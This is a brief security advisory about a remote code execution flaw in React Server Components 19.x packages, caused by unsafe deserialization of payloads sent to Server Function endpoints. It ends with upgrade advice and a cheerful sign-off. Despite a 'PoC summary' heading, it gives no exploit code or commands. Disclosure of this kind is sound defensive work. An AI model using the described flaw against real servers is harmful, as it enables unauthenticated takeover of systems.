React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0, including
react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack, contain a remote code execution vulnerability.
The issue is triggered by unsafe deserialization of attacker‑controlled payloads sent to Server Function endpoints.

PoC summary:
Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full system compromise.
Update to the latest React Server Components release where unsafe deserialization paths are patched.
May you be well on your side of the screen :) ✨❤️
